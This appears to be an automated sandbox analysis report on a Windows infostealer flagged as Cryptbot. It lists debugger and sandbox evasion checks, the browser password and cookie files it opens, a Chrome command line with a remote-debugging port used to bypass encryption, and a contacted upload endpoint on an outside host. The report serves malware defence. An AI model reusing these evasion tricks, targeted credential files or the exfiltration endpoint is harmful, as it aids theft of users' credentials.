Source: rJvOqHxkuI.exe, 00000000.00000003.1340527759.0000000000842000.00000004.00000020.00020000.00000000.sdmp, rJvOqHxkuI.exe, 00000000.00000003.1341058668.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: NTICE
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: SICE
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00B38230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00B38230

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B3116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	9_2_00B3116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B311A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_00B311A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B31160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_00B31160
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B313C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	9_2_00B313C9

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C8C84D0 cpuid

9_2_6C8C84D0

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 9.2.service123.exe.6c840000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: service123.exe PID: 5456, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.10:49709 -> 194.87.47.113:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	24 Virtualization/Sandbox Evasion	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	4 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rJvOqHxkuI.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
rJvOqHxkuI.exe	54%	Virustotal		Browse
rJvOqHxkuI.exe	100%	Avira	TR/Crypt.TPM.Gen
rJvOqHxkuI.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsxx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.19.228	true	false	high
home.twentytk20pn.top	194.87.47.113	true	false	high
twentytk20pn.top	194.87.47.113	true	false	high
httpbin.org	98.85.100.80	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://twentytk20pn.top/v1/upload.php	false		high
https://httpbin.org/ip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	ehoYPkfWhVokJMBQaExv.dll.0.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774304305.0000307402E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000003.00000002.1763276220.0000307402280000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000003.00000002.1770241780.0000307402980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774978440.0000307402FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000002.1772294755.0000307402C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000003.00000002.1772199889.0000307402BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770687202.00003074029EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776644339.0000307403238000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774792236.0000307402F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774203118.0000307402E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775614921.0000307403094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 00000003.00000002.1775083393.0000307402FE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000003.00000002.1771612627.0000307402AAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1763153471.000030740223C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751081034.0000307403278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751155686.0000307403288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751234839.0000307403144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751302541.00003074032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751686112.0000307403108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751654925.0000307402EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751817687.000030740316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767002458.00003074024F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751778874.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1751187488.00003074032D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776726709.0000307403250000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000002.1770241780.0000307402980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/	chrome.exe, 00000003.00000002.1775083393.0000307402FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774863372.0000307402F84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776726709.0000307403250000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000003.00000003.1738740698.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1737661595.00003074025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000003.00000002.1763153471.000030740223C000.00000004.00000800.00020000.00000000.sdmp	false		high
